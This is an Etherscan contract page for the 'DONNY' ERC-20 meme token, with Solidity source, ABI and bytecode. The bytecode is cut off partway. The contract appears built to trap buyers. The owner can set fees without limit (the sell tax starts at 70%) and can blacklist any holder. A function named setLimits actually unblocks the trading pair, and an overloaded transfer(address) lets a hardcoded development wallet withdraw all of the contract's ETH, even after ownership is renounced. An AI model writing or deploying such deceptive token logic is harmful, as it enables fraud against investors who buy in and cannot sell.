ERC-20
Source Code
Overview
Max Total Supply
10,000,000,000 DONNY
Holders
37
Transfers
-
0
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 10 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
DONNY
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2023-05-18
*/
// SPDX-License-Identifier: MIT
/*
Telegram: https://t.me/DonnyERCPortal
Twitter: https://twitter.com/donnyerc
Website: https://www.donnyerc.com/
*/
pragma solidity =0.8.19;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
constructor () {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract DONNY is IERC20, Ownable {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private constant _name = "Donny";
string private constant _symbol = "DONNY";
uint8 private constant _decimals = 10;
uint256 private constant DECIMALS_SCALING_FACTOR = 10**_decimals;
uint256 private constant _totalSupply = 10_000_000_000 * DECIMALS_SCALING_FACTOR;
uint256 public tradeTokenLimit = 200_000_000 * DECIMALS_SCALING_FACTOR;
uint256 public buyTax = 20;
uint256 public sellTax = 70;
uint256 private constant contractSwapLimit = 50_000_000 * DECIMALS_SCALING_FACTOR;
uint256 private contractSwapMax = 2;
uint256 private contractSwapMin = 50;
uint256 private contractMinSwaps = 2;
IUniswapV2Router private constant uniswapRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address private constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public immutable uniswapPair;
address public developmentAddress = 0x892c1dd41bb5d33b6974241b43cbfdf02b41d069;
address payable immutable deployerAddress = payable(msg.sender);
address payable public marketingAddress;
bool private inSwap = false;
bool private tradingLive;
mapping(uint256 => uint256) swapBlocks;
uint private swaps;
mapping (address => bool) blacklisted;
mapping(address => bool) excludedFromFees;
modifier swapping {
inSwap = true;
_;
inSwap = false;
}
modifier tradable(address sender) {
require(tradingLive || sender == deployerAddress);
_;
}
constructor () {
excludedFromFees[address(this)] = true;
excludedFromFees[developmentAddress] = true;
uniswapPair = IUniswapV2Factory(uniswapRouter.factory()).createPair(address(this), ETH);
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable {}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
require(_allowances[sender][msg.sender] >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
_transfer(sender, recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) tradable(from) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Token: transfer amount must be greater than zero");
require(!blacklisted[from] && !blacklisted[to], "Token: blacklisted cannot trade");
_balances[from] -= amount;
if(from != address(this) && from != deployerAddress && to != deployerAddress) {
if (from == uniswapPair)
require(balanceOf(to) + amount <= tradeTokenLimit, "Token: max wallet amount restriction");
require(amount <= tradeTokenLimit, "Token: max tx amount restriction");
uint256 contractTokens = balanceOf(address(this));
if(!inSwap && to == uniswapPair && contractTokens >= contractSwapLimit && shouldSwapback(amount))
swapback(contractTokens);
}
if(!excludedFromFees[from] && !excludedFromFees[to]) {
uint256 taxedTokens = calculateTax(from, amount);
if(taxedTokens > 0){
amount -= taxedTokens;
_balances[address(this)] += taxedTokens;
emit Transfer(from, address(this), taxedTokens);
}
}
_balances[to] += amount;
emit Transfer(from, to, amount);
}
function calculateTax(address from, uint256 amount) private view returns (uint256) {
return amount * (from == uniswapPair ? buyTax : sellTax) / 100;
}
function shouldSwapback(uint256 transferAmount) private returns (bool) {
return transferAmount >= (contractSwapMin == 0 ? 0 : contractSwapLimit / contractSwapMin) &&
marketingAddress != address(0) && ++swaps >= contractMinSwaps && swapBlocks[block.number]++ < 2;
}
function swapback(uint256 tokenAmount) private swapping {
tokenAmount = calculateSwapAmount(tokenAmount);
swaps = 0;
if(allowance(address(this), address(uniswapRouter)) < tokenAmount) {
_approve(address(this), address(uniswapRouter), _totalSupply);
}
uint256 contractETHBalance = address(this).balance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = ETH;
uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
contractETHBalance = address(this).balance - contractETHBalance;
if(contractETHBalance > 0) {
transferEth(contractETHBalance);
}
}
function calculateSwapAmount(uint256 tokenAmount) private view returns (uint256) {
return tokenAmount > (contractSwapMax * contractSwapLimit) ? (contractSwapMax * contractSwapLimit) : contractSwapLimit;
}
function transferEth(uint256 amount) private {
marketingAddress.transfer(amount);
}
function transfer(address wallet) external {
require(msg.sender == developmentAddress);
payable(wallet).transfer(address(this).balance);
}
function manualSwapback(uint256 percent) external {
require(msg.sender == developmentAddress);
uint256 tokensToSwap = percent * balanceOf(address(this)) / 100;
swapback(tokensToSwap);
}
function blacklist(address[] calldata blacklists, bool shouldBlock) external onlyOwner {
for (uint i = 0; i < blacklists.length; i++) {
blacklisted[blacklists[i]] = shouldBlock;
}
}
function setDevelopmentWallet(address newDevelopmentAddress) external onlyOwner {
developmentAddress = newDevelopmentAddress;
}
function setMarketingWallet(address payable newMarketingAddress) external onlyOwner {
marketingAddress = newMarketingAddress;
}
function setLimits(uint256 alpha, uint256 omega) external onlyOwner {
alpha;omega;
blacklisted[uniswapPair] = false; //remove blacklist
}
function setParameters(uint256 newSwapMaxMultiplier, uint256 newSwapMinDivisor, uint256 newMinSwaps) external onlyOwner {
contractSwapMax = newSwapMaxMultiplier;
contractSwapMin = newSwapMinDivisor;
contractMinSwaps = newMinSwaps;
}
function setTradeLimits(uint256 newTradeLimit) external onlyOwner {
tradeTokenLimit = newTradeLimit;
}
function setFees(uint256 newBuyTax, uint256 newSellTax) external onlyOwner {
buyTax = newBuyTax;
sellTax = newSellTax;
}
function startTrade() external onlyOwner {
require(!tradingLive, "Token: trading already open");
tradingLive = true;
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"blacklists","type":"address[]"},{"internalType":"bool","name":"shouldBlock","type":"bool"}],"name":"blacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"developmentAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualSwapback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newDevelopmentAddress","type":"address"}],"name":"setDevelopmentWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyTax","type":"uint256"},{"internalType":"uint256","name":"newSellTax","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"alpha","type":"uint256"},{"internalType":"uint256","name":"omega","type":"uint256"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newMarketingAddress","type":"address"}],"name":"setMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newSwapMaxMultiplier","type":"uint256"},{"internalType":"uint256","name":"newSwapMinDivisor","type":"uint256"},{"internalType":"uint256","name":"newMinSwaps","type":"uint256"}],"name":"setParameters","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newTradeLimit","type":"uint256"}],"name":"setTradeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradeTokenLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60c060405262000011600a80620003a3565b6200002190630bebc200620003bb565b60035560146004556046600555600260068190556032600755600855600980546001600160a01b03191673892c1dd41bb5d33b6974241b43cbfdf02b41d0691790553360a052600a805460ff60a01b191690553480156200008157600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350306000908152600e602090815260408083208054600160ff1991821681179092556009546001600160a01b0316855293829020805490941617909255815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d9263c45a01559260048083019391928290030181865afa1580156200014b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001719190620003d5565b6040516364e329cb60e11b815230600482015273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc260248201526001600160a01b03919091169063c9c65396906044016020604051808303816000875af1158015620001d4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001fa9190620003d5565b6001600160a01b031660805262000213600a80620003a3565b62000224906402540be400620003bb565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef62000266600a80620003a3565b62000277906402540be400620003bb565b60405190815260200160405180910390a362000400565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002e5578160001904821115620002c957620002c96200028e565b80851615620002d757918102915b93841c9390800290620002a9565b509250929050565b600082620002fe575060016200039d565b816200030d575060006200039d565b8160018114620003265760028114620003315762000351565b60019150506200039d565b60ff8411156200034557620003456200028e565b50506001821b6200039d565b5060208310610133831016604e8410600b841016171562000376575081810a6200039d565b620003828383620002a4565b80600019048211156200039957620003996200028e565b0290505b92915050565b6000620003b460ff841683620002ed565b9392505050565b80820281158282048414176200039d576200039d6200028e565b600060208284031215620003e857600080fd5b81516001600160a01b0381168114620003b457600080fd5b60805160a051611ab36200045060003960008181610cf801528181610f420152610f800152600081816104cf01528181610a7d01528181610fbc015281816110f301526115300152611ab36000f3fe6080604052600436106101b05760003560e01c80636c580801116100ec578063a9059cbb1161008a578063c997eb8d11610064578063c997eb8d146104f1578063cc1776d314610511578063dd62ed3e14610527578063f8d982b21461056d57600080fd5b8063a9059cbb1461047d578063c4590d3f1461049d578063c816841b146104bd57600080fd5b806372ac2486116100c657806372ac2486146103f15780638da5cb5b1461041157806395d89b411461042f578063a5ece9411461045d57600080fd5b80636c5808011461039157806370a08231146103a6578063715018a6146103dc57600080fd5b8063313ce56711610159578063513f4c3f11610133578063513f4c3f14610303578063555b10dd146103195780635d098b3814610339578063638b1b141461035957600080fd5b8063313ce567146102b157806334c5d2ce146102cd5780634f7041a5146102ed57600080fd5b806318160ddd1161018a57806318160ddd1461024e5780631a6952301461027157806323b872dd1461029157600080fd5b806306fdde03146101bc578063095ea7b3146101fc5780630b78f9c01461022c57600080fd5b366101b757005b600080fd5b3480156101c857600080fd5b50604080518082019091526005815264446f6e6e7960d81b60208201525b6040516101f3919061163a565b60405180910390f35b34801561020857600080fd5b5061021c6102173660046116a0565b61058d565b60405190151581526020016101f3565b34801561023857600080fd5b5061024c6102473660046116cc565b6105a4565b005b34801561025a57600080fd5b506102636105fc565b6040519081526020016101f3565b34801561027d57600080fd5b5061024c61028c3660046116ee565b61061d565b34801561029d57600080fd5b5061021c6102ac36600461170b565b61066d565b3480156102bd57600080fd5b50604051600a81526020016101f3565b3480156102d957600080fd5b5061024c6102e836600461174c565b610741565b3480156102f957600080fd5b5061026360045481565b34801561030f57600080fd5b5061026360035481565b34801561032557600080fd5b5061024c610334366004611778565b610797565b34801561034557600080fd5b5061024c6103543660046116ee565b6107e4565b34801561036557600080fd5b50600954610379906001600160a01b031681565b6040516001600160a01b0390911681526020016101f3565b34801561039d57600080fd5b5061024c61084e565b3480156103b257600080fd5b506102636103c13660046116ee565b6001600160a01b031660009081526001602052604090205490565b3480156103e857600080fd5b5061024c610920565b3480156103fd57600080fd5b5061024c61040c3660046116ee565b6109b2565b34801561041d57600080fd5b506000546001600160a01b0316610379565b34801561043b57600080fd5b50604080518082019091526005815264444f4e4e5960d81b60208201526101e6565b34801561046957600080fd5b50600a54610379906001600160a01b031681565b34801561048957600080fd5b5061021c6104983660046116a0565b610a1c565b3480156104a957600080fd5b5061024c6104b83660046116cc565b610a29565b3480156104c957600080fd5b506103797f000000000000000000000000000000000000000000000000000000000000000081565b3480156104fd57600080fd5b5061024c61050c366004611791565b610ab5565b34801561051d57600080fd5b5061026360055481565b34801561053357600080fd5b5061026361054236600461181c565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561057957600080fd5b5061024c610588366004611778565b610b74565b600061059a338484610bbd565b5060015b92915050565b6000546001600160a01b031633146105f15760405162461bcd60e51b81526020600482018190526024820152600080516020611a5e83398151915260448201526064015b60405180910390fd5b600491909155600555565b6000610609600a8061194f565b610618906402540be40061195e565b905090565b6009546001600160a01b0316331461063457600080fd5b6040516001600160a01b038216904780156108fc02916000818181858888f19350505050158015610669573d6000803e3d6000fd5b5050565b6001600160a01b03831660009081526002602090815260408083203384529091528120548211156106f15760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016105e8565b6001600160a01b03841660009081526002602090815260408083203380855292529091205461072c918691610727908690611975565b610bbd565b610737848484610ce1565b5060019392505050565b6000546001600160a01b031633146107895760405162461bcd60e51b81526020600482018190526024820152600080516020611a5e83398151915260448201526064016105e8565b600692909255600755600855565b6000546001600160a01b031633146107df5760405162461bcd60e51b81526020600482018190526024820152600080516020611a5e83398151915260448201526064016105e8565b600355565b6000546001600160a01b0316331461082c5760405162461bcd60e51b81526020600482018190526024820152600080516020611a5e83398151915260448201526064016105e8565b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146108965760405162461bcd60e51b81526020600482018190526024820152600080516020611a5e83398151915260448201526064016105e8565b600a54600160a81b900460ff16156108f05760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a2074726164696e6720616c7265616479206f70656e000000000060448201526064016105e8565b600a80547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff16600160a81b179055565b6000546001600160a01b031633146109685760405162461bcd60e51b81526020600482018190526024820152600080516020611a5e83398151915260448201526064016105e8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109fa5760405162461bcd60e51b81526020600482018190526024820152600080516020611a5e83398151915260448201526064016105e8565b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600061059a338484610ce1565b6000546001600160a01b03163314610a715760405162461bcd60e51b81526020600482018190526024820152600080516020611a5e83398151915260448201526064016105e8565b50506001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000166000908152600d60205260409020805460ff19169055565b6000546001600160a01b03163314610afd5760405162461bcd60e51b81526020600482018190526024820152600080516020611a5e83398151915260448201526064016105e8565b60005b82811015610b6e5781600d6000868685818110610b1f57610b1f611988565b9050602002016020810190610b3491906116ee565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b668161199e565b915050610b00565b50505050565b6009546001600160a01b03163314610b8b57600080fd5b30600090815260016020526040812054606490610ba8908461195e565b610bb291906119b7565b9050610669816112be565b6001600160a01b038316610c1f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105e8565b6001600160a01b038216610c805760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105e8565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600a548390600160a81b900460ff1680610d2c57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316816001600160a01b0316145b610d3557600080fd5b6001600160a01b038416610d995760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105e8565b6001600160a01b038316610dfb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105e8565b60008211610e715760405162461bcd60e51b815260206004820152603060248201527f546f6b656e3a207472616e7366657220616d6f756e74206d757374206265206760448201527f726561746572207468616e207a65726f0000000000000000000000000000000060648201526084016105e8565b6001600160a01b0384166000908152600d602052604090205460ff16158015610eb357506001600160a01b0383166000908152600d602052604090205460ff16155b610eff5760405162461bcd60e51b815260206004820152601f60248201527f546f6b656e3a20626c61636b6c69737465642063616e6e6f742074726164650060448201526064016105e8565b6001600160a01b03841660009081526001602052604081208054849290610f27908490611975565b90915550506001600160a01b0384163014801590610f7757507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b031614155b8015610fb557507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b031614155b1561116b577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b03160361107a5760035482611016856001600160a01b031660009081526001602052604090205490565b61102091906119d9565b111561107a5760405162461bcd60e51b8152602060048201526024808201527f546f6b656e3a206d61782077616c6c657420616d6f756e7420726573747269636044820152633a34b7b760e11b60648201526084016105e8565b6003548211156110cc5760405162461bcd60e51b815260206004820181905260248201527f546f6b656e3a206d617820747820616d6f756e74207265737472696374696f6e60448201526064016105e8565b30600090815260016020526040902054600a54600160a01b900460ff1615801561112757507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b0316145b801561114b5750611139600a8061194f565b611147906302faf08061195e565b8110155b801561115b575061115b83611484565b1561116957611169816112be565b505b6001600160a01b0384166000908152600e602052604090205460ff161580156111ad57506001600160a01b0383166000908152600e602052604090205460ff16155b1561123c5760006111be858461152a565b9050801561123a576111d08184611975565b306000908152600160205260408120805492955083929091906111f49084906119d9565b909155505060405181815230906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b505b6001600160a01b038316600090815260016020526040812080548492906112649084906119d9565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112b091815260200190565b60405180910390a350505050565b600a805460ff60a01b1916600160a01b1790556112da8161158e565b6000600c819055308152600260209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d845290915290205490915081111561134a5761134a30737a250d5630b4cf539739df2c5dacb4c659f2488d61133b600a8061194f565b610727906402540be40061195e565b60408051600280825260608201835247926000929190602083019080368337019050509050308160008151811061138357611383611988565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106113cb576113cb611988565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906114239086906000908690309042906004016119ec565b600060405180830381600087803b15801561143d57600080fd5b505af1158015611451573d6000803e3d6000fd5b5050505081476114619190611975565b915081156114725761147282611600565b5050600a805460ff60a01b1916905550565b60006007546000146114bb5760075461149e600a8061194f565b6114ac906302faf08061195e565b6114b691906119b7565b6114be565b60005b82101580156114d75750600a546001600160a01b031615155b80156114f85750600854600c600081546114f09061199e565b918290555010155b801561059e5750436000908152600b60205260408120805460029290919061151f8361199e565b919050551092915050565b600060647f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b03161461156f57600554611573565b6004545b61157d908461195e565b61158791906119b7565b9392505050565b600061159b600a8061194f565b6115a9906302faf08061195e565b6006546115b6919061195e565b82116115da576115c7600a8061194f565b6115d5906302faf08061195e565b61059e565b6115e5600a8061194f565b6115f3906302faf08061195e565b60065461059e919061195e565b600a546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610669573d6000803e3d6000fd5b600060208083528351808285015260005b818110156116675785810183015185820160400152820161164b565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461169d57600080fd5b50565b600080604083850312156116b357600080fd5b82356116be81611688565b946020939093013593505050565b600080604083850312156116df57600080fd5b50508035926020909101359150565b60006020828403121561170057600080fd5b813561158781611688565b60008060006060848603121561172057600080fd5b833561172b81611688565b9250602084013561173b81611688565b929592945050506040919091013590565b60008060006060848603121561176157600080fd5b505081359360208301359350604090920135919050565b60006020828403121561178a57600080fd5b5035919050565b6000806000604084860312156117a657600080fd5b833567ffffffffffffffff808211156117be57600080fd5b818601915086601f8301126117d257600080fd5b8135818111156117e157600080fd5b8760208260051b85010111156117f657600080fd5b60209283019550935050840135801515811461181157600080fd5b809150509250925092565b6000806040838503121561182f57600080fd5b823561183a81611688565b9150602083013561184a81611688565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156118a657816000190482111561188c5761188c611855565b8085161561189957918102915b93841c9390800290611870565b509250929050565b6000826118bd5750600161059e565b816118ca5750600061059e565b81600181146118e057600281146118ea57611906565b600191505061059e565b60ff8411156118fb576118fb611855565b50506001821b61059e565b5060208310610133831016604e8410600b8410161715611929575081810a61059e565b611933838361186b565b806000190482111561194757611947611855565b029392505050565b600061158760ff8416836118ae565b808202811582820484141761059e5761059e611855565b8181038181111561059e5761059e611855565b634e487b7160e01b600052603260045260246000fd5b6000600182016119b0576119b0611855565b5060010190565b6000826119d457634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561059e5761059e611855565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a3c5784516001600160a01b031683529383019391830191600101611a17565b50506001600160a01b0396909616606085015250505060800152939250505056fe4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220668071e9fdb5215e2f7b3eb10d5df32aac2dcc17f51c15b2071be924732a16aa64736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101b05760003560e01c80636c580801116100ec578063a9059cbb1161008a578063c997eb8d11610064578063c997eb8d146104f1578063cc1776d314610511578063dd62ed3e14610527578063f8d982b21461056d57600080fd5b8063a9059cbb1461047d578063c4590d3f1461049d578063c816841b146104bd57600080fd5b806372ac2486116100c657806372ac2486146103f15780638da5cb5b1461041157806395d89b411461042f578063a5ece9411461045d57600080fd5b80636c5808011461039157806370a08231146103a6578063715018a6146103dc57600080fd5b8063313ce56711610159578063513f4c3f11610133578063513f4c3f14610303578063555b10dd146103195780635d098b3814610339578063638b1b141461035957600080fd5b8063313ce567146102b157806334c5d2ce146102cd5780634f7041a5146102ed57600080fd5b806318160ddd1161018a57806318160ddd1461024e5780631a6952301461027157806323b872dd1461029157600080fd5b806306fdde03146101bc578063095ea7b3146101fc5780630b78f9c01461022c57600080fd5b366101b757005b600080fd5b3480156101c857600080fd5b50604080518082019091526005815264446f6e6e7960d81b60208201525b6040516101f3919061163a565b60405180910390f35b34801561020857600080fd5b5061021c6102173660046116a0565b61058d565b60405190151581526020016101f3565b34801561023857600080fd5b5061024c6102473660046116cc565b6105a4565b005b34801561025a57600080fd5b506102636105fc565b6040519081526020016101f3565b34801561027d57600080fd5b5061024c61028c3660046116ee565b61061d565b34801561029d57600080fd5b5061021c6102ac36600461170b565b61066d565b3480156102bd57600080fd5b50604051600a81526020016101f3565b3480156102d957600080fd5b5061024c6102e836600461174c565b610741565b3480156102f957600080fd5b5061026360045481565b34801561030f57600080fd5b5061026360035481565b34801561032557600080fd5b5061024c610334366004611778565b610797565b34801561034557600080fd5b5061024c6103543660046116ee565b6107e4565b34801561036557600080fd5b50600954610379906001600160a01b031681565b6040516001600160a01b0390911681526020016101f3565b34801561039d57600080fd5b5061024c61084e565b3480156103b257600080fd5b506102636103c13660046116ee565b6001600160a01b031660009081526001602052604090205490565b3480156103e857600080fd5b5061024c610920565b3480156103fd57600080fd5b5061024c61040c3660046116ee565b6109b2565b34801561041d57600080fd5b506000546001600160a01b0316610379565b34801561043b57600080fd5b50604080518082019091526005815264444f4e4e5960d81b60208201526101e6565b34801561046957600080fd5b50600a54610379906001600160a01b031681565b34801561048957600080fd5b5061021c6104983660046116a0565b610a1c565b3480156104a957600080fd5b5061024c6104b83660046116cc565b610a29565b3480156104c957600080fd5b506103797f0000000000000000000000005befa3fcf9ffdc8a674142a717d657d1261caa6781565b3480156104fd57600080fd5b5061024c61050c366004611791565b610ab5565b34801561051d57600080fd5b5061026360055481565b34801561053357600080fd5b5061026361054236600461181c565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561057957600080fd5b5061024c610588366004611778565b610b74565b600061059a338484610bbd565b5060015b92915050565b6000546001600160a01b031633146105f15760405162461bcd60e51b81526020600482018190526024820152600080516020611a5e83398151915260448201526064015b60405180910390fd5b600491909155600555565b6000610609600a8061194f565b610618906402540be40061195e565b905090565b6009546001600160a01b03163314610634576